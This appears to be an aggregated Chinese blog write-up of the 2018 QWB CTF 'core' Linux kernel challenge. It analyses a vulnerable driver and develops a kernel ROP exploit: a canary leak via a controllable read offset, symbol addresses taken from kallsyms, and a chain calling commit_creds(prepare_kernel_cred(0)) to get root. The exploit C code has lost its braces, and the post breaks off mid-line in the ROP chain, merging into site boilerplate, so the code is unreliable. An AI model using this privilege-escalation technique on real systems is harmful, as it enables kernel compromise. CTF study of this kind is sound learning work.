kernel ROP
Posted Y0n1an
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了kernel ROP相关的知识,希望对你有一定的参考价值。
basic knowledge
之前有一个点,root权限时的gid和uid为0
内核态提权到root,一般就是执行commit_creds(prepare_kernel_cred(0))
;这两个函数原理就是分配一个新的cred结构,uid = 0,gid = 0。此时就是root权限
输入cat /proc/kallsyms
可以查看他们的地址commit_creds
和prepare_kernel_cred(0)
都是内核函数
现在看一下2018年qwb的core,回顾一下之前的
start.sh
:启动脚本,标明了启动的方法,保护措施等
core.cpio
:打包的一个文件,解包以后里面有文件系统,其中以vmlinux
命名的是内核的二进制文件,core.ko
是存在漏洞的驱动,也就是题目分析中分析的二进制文件
bzlmage
:镜像文件
vmlinux
:相当于是libc
然后新建一个core文件夹find . | cpio -o --format=newc > ../rootfs
解压core以后把init中的id改成0,这样我们就可以以root权限来执行.sh脚本了
把上面哪一行poweroff删掉,就可以了
然后需要更改start.sh中的-m 为128M,64M太小了
这个core.ko就是有漏洞的程序,打开看一下
[*] '/home/ubuntu20/Desktop/2018qwbcore/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
在ida里面看一下,首先
__int64 init_module()
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
init module创建了i虚拟文件/proc/core,应用层通过该文件实现与内核的交互。
__int64 exit_core()
__int64 result; // rax
if ( core_proc )
return remove_proc_entry("core");
return result;
删除了proc/core
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
switch ( a2 )
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3);
break;
return 0LL;
ioctl定义了三条命令:core_read(a3),core_copy_func(a3),还有一条是设置全局变量off
先看一下core_read:
unsigned __int64 __fastcall core_read(__int64 a1)
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]
v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
*(_DWORD *)v2 = 0;
v2 += 4;
strcpy(v5, "Welcome to the QWB CTF challenge.\\n");
result = copy_to_user(a1, &v5[off], 64LL);//key
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm swapgs
return result;
看到标key的代码,call read从read函数将栈上偏移off处的数据读取到用户态变量中,由上面可知,off变量可以控制,就是可以将栈上任意偏移处的数据读取到用户态变量中,程序开启了canary保护,只要控制了off,这里可以泄漏canary值。
core_copy_func函数:
__int64 __fastcall core_copy_func(__int64 a1)
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
printk(&unk_2A1);
return 0xFFFFFFFFLL;
else
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
return result;
把name传入V2这里存在整数溢出,传进来的长度是一个有符号数,也就是一个大的数就是-1,但是qmemcpy出来的时候是一个无符号数,传入的负数就是一个很大的数
core_write函数可以对全局变量name进行写操作,从用户空间拷贝到内核空间。
core_write
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 4294967282LL;
从用户空间拷贝过来,把a2拷贝到name,core_write函数会设置name值,name在bss段,rop可以从这里传入,先保存到bss段中,然后core_copy_func函数将其拷贝到内核栈上。
思路:
core_ioctl+core_read控制off值,泄露canary
core_write在name中构造rop
core_copy_func把rop传回给内核
通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态,通过 system("/bin/sh") 等起 shell
启动qemu,在qemu中查看/proc/kallsyms中的 commit_creds 函数地址
调试
调式:
启动gdb ./vmlinux
进行调试,这样虽然加载了kernel的符号表,但是没有加载驱动的符号表add-symbol-file core.ko textaddr
加载
[ 0.028753] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ # cat /sys/module/core/sections/.text
0xffffffffc0171000
然后在shell端启动gdb
下好端点
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...
(No debugging symbols found in ./vmlinux)
pwndbg> add-symbol-file ./core.ko 0xffffffffc0171000
add symbol table from file "./core.ko" at
.text_addr = 0xffffffffc0171000
Reading symbols from ./core.ko...
(No debugging symbols found in ./core.ko)
pwndbg> b core_read
Breakpoint 1 at 0xffffffffc0171063
pwndbg> b *(0xffffffffc017100+0xcc)
Breakpoint 2 at 0xffffffffc0171cc
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
0xffffffff9806e7d2 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0xffffffff9806e7d0 ◂— sti
RBX 0xffffffff98a10480 ◂— add byte ptr [rax], al /* 0x80000000 */
RCX 0x0
RDX 0x0
RDI 0x0
RSI 0x0
R8 0xffff9f204641bf20 —▸ 0xffffb4b4400b7960 ◂— 1
R9 0x0
R10 0x0
R11 0x23c
R12 0xffffffff98a10480 ◂— add byte ptr [rax], al /* 0x80000000 */
R13 0xffffffff98a10480 ◂— add byte ptr [rax], al /* 0x80000000 */
R14 0x0
R15 0x0
RBP 0x0
RSP 0xffffffff98a03eb8 —▸ 0xffffffff978b65a0 ◂— jmp 0xffffffff978b6541
RIP 0xffffffff9806e7d2 ◂— ret
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0xffffffff9806e7d2 ret <0xffffffff978b65a0>
↓
0xffffffff978b65a0 jmp 0xffffffff978b6541 <0xffffffff978b6541>
↓
0xffffffff978b6541 or byte ptr ds:[r12 + 2], irq_stack_union+32 <32>
0xffffffff978b6548 pushfq
0xffffffff978b6549 pop rax
0xffffffff978b654a test ah, 2 <2>
0xffffffff978b654d je 0xffffffff978b65e5 <0xffffffff978b65e5>
0xffffffff978b6553 call 0xffffffff978d4720 <0xffffffff978d4720>
0xffffffff978b6558 call 0xffffffff978b6430 <0xffffffff978b6430>
0xffffffff978b655d mov rax, qword ptr [rbx]
0xffffffff978b6560 test al, 8 <8>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0xffffffff98a03eb8 —▸ 0xffffffff978b65a0 ◂— jmp 0xffffffff978b6541
01:0008│ 0xffffffff98a03ec0 ◂— 0xc2
02:0010│ 0xffffffff98a03ec8 —▸ 0xffffffff98ec4900 ◂— int3 /* 0xcccccccccccccccc */
03:0018│ 0xffffffff98a03ed0 —▸ 0xffff9f204675f900 ◂— jb 0xffff9f204675f971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */
04:0020│ 0xffffffff98a03ed8 —▸ 0xffffffff98ecc2c0 ◂— int3 /* 0xcccccccccccccccc */
05:0028│ 0xffffffff98a03ee0 ◂— 0
06:0030│ 0xffffffff98a03ee8 ◂— 0
07:0038│ 0xffffffff98a03ef0 —▸ 0xffffffff978b673a ◂— jmp 0xffffffff978b6735
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0xffffffff9806e7d2
f 1 0xffffffff978b65a0
f 2 0xc2 irq_stack_union+194
f 3 0xffffffff98ec4900
f 4 0xffff9f204675f900
f 5 0xffffffff98ecc2c0
f 6 0x0
────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
这就是调试方法
exploit编写思路
获取函数地址
首先,我们要获取commit_creds
函数和prepare_kernel_cred
函数的地址
首先,我们可以看到init文件中:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms #把 kallsyms 的内容保存到了
#/tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms
#中读取 commit_creds,prepare_kernel_cred 的函数的地址了
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict #kptr_restrict 设为 1,
#这样就不能通过 /proc/kallsyms 查看函数地址了,
#但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
# dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#poweroff -d 120 -f &
#pwoeroff 定时关机函数 可以直接注释掉
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys
也就是说我们可以利用grep
命令启动start.sh
后在tmp/kallsyms
查看函数地址
[ 0.027772] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ # grep commit_creds /tmp/kallsyms
ffffffffb4a9c8e0 T commit_creds
/ # grep prepare_kernel_cred /tmp/kallsyms
ffffffffb4a9cce0 T prepare_kernel_cred
/ #
第二步
因为vmlinux中的偏移是都是固定的,重新加载不会变化,所以可以在vmlinux中得到固定偏移
ubuntu20@ubuntu20-virtual-machine:~/Desktop/core/core$ python
Python 2.7.18 (default, Mar 8 2021, 13:02:45)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import*
>>> elf = ELF('./vmlinux')
[*] '/home/ubuntu20/Desktop/core/core/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> commit_creds = hex(elf.sym['commit_creds']-0xffffffff81000000)
>>> print commit_creds
0x9c8e0
>>> prepare_kernel_cred = hex(elf.sym['prepare_kernel_cred']-0xffffffff81000000)
>>> print prepare_kernel_cred
0x9cce0
>>>
0xffffffffb4a9c8e0-0x9c8e0 = 0xffffffffb4a00000
最后exp
保存用户环境
swapgs指令和iretq指令
首先说一下swapgs指令和iretq指令。
swapgs指令通过系统调用切入到kernel系统服务后,通过交换IA32_KERNEL_GS_BASE
与IA32_GS_BASE
的值,从而得到kernel数据结构的指针,其中,IA32_KERNEL_GS_BASE
寄存器是一个MSR
寄存器,用了保存kernel级别的数据结构指针。
MSR(Model Specific Register)
寄存器是为了设置CPU的工作环境和标识CPU的工作状态,包括温度控制、性能监控等,具体可以看这篇文章。关于swapgs指令的内容引用了这篇文章
在执行IRET指令时,如果返回到相同级别的任务,从栈中弹出指令指针到eip,代码段选择器到参数,eflag映像到eflags寄存器
构造rop
控制程序流执行commit_creds(prepare_kernel_cred(0))
执行swapgs;iretq,回到用户态。
编写
后面要返回用户态,需要设置ccs,flag等寄存器状态,所以先保存一下信息,然后打开文件系统
size_t commit_creds = 0,prepare_kernel_cred = 0;
//cat /sys/module/core/sections/.text
//init: setsid /bin/cttyhack setuidgid 0 /bin/sh
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
int main()
save_status();
int fd = open("/proc/core",2);
if(fd < 0)
exit(0);
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status()
__asm__("mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;");
然后在tmp/kallsyms
目录里面读出地址
size_t commit_creds = 0,prepare_kernel_cred = 0;
//cat /sys/module/core/sections/.text
//init: setsid /bin/cttyhack setuidgid 0 /bin/sh
size_t raw_vmlinux_base = 0xffffffff81000000;//未加载时的vmlinux文件的基地址
size_t vmlinux_base = 0;
int main()
save_status();
int fd = open("/proc/core",2);
if(fd < 0)
exit(0);
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;
size_t find_symbols()
FILE* kallsyms_fd = fopen("/tmp/kallsyms","r");
if(kallsyms_fd < 0)
puts("[*]open kallsyms error!");
exit(0);
char buf[0x30] = 0;
while(fgets(buf,0x30,kallsyms_fd))
if(commit_creds & prepare_kernel_cred)
return 0;
//find commit_creds
if(strstr(buf,"commit_creds") && !commit_creds)//在读取中的字符串中查找子串
char hex[20] = 0;
strncpy(hex,buf,16);//只拷贝前16字节
sscanf(hex,"%llx",&commit_creds);
printf("commit_creds addr: %p\\n",commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\\n",vmlinux_base);
//find prepare_kernel_cred
if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred)
char hex[20] = 0;
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\\n",prepare_kernel_cred);
vmlinux_base = prepare_kernel_cred - 0x9cce0;
if(!commit_creds & !prepare_kernel_cred)
puts("[*]read kallsyms error!");
exit(0);
通过它们的地址减去偏移得到vmlinux_base就是vmlinux的基地址的值,然后减去未加载vmlinux的值得到一个偏移
在ida里面可以看canary和stack_buffer偏移是0x40,我们之前知道设置off可以查看caanry,off设置为40
把fd数据读入到数组,因为我们设置off是从0x40开始读的,所以取数组第一个元素就是canary
然后前面都用canary来进行填充
size_t commit_creds = 0,prepare_kernel_cred = 0;
//cat /sys/module/core/sections/.text
//init: setsid /bin/cttyhack setuidgid 0 /bin/sh
size_t raw_vmlinux_base = 0xffffffff81000000;//未加载时的vmlinux文件的基地址
size_t vmlinux_base = 0;
int main()
save_status();
int fd = open("/proc/core",2);
if(fd < 0)
exit(0);
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;
set_off(fd, 0x40);
char buf[0x40] = 0;
core_read(fd, buf);
size_t canary = ((size_t*)buf)[0];
printf("[*]canary: %p\\n",canary);
size_t rop[0x1000] = 0;
int i = 0;
for ( i = 0; i < 10; i++)
rop[i++] = canary; //用canary填充
然后构造rop链
要执行commit_creds(prepare_kernel_cred(0))
,要设置rdi和ret
//commit_creds(prepare_kernel_cred(0))
//rdi = 0;ret prepare_kernel_cred
//prepare_kernel_cred(0)
rop[i++] = 0xffffffff81000b2f + offset; //pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
这里rax 已经是prepare_kernel_cred(0)然后设置返回值为commit_creds
//rax = prepare_kernel_cred(0)
//rdx = rop 2
//retn rop 3 mov rdi,rax;call rdx;
//call rop 2 -> pop "cmp rbx,r15" to rcx
//retn commit_creds
rop[i++] = 0xffffffff810a0f49 +以上是关于kernel ROP的主要内容,如果未能解决你的问题,请参考以下文章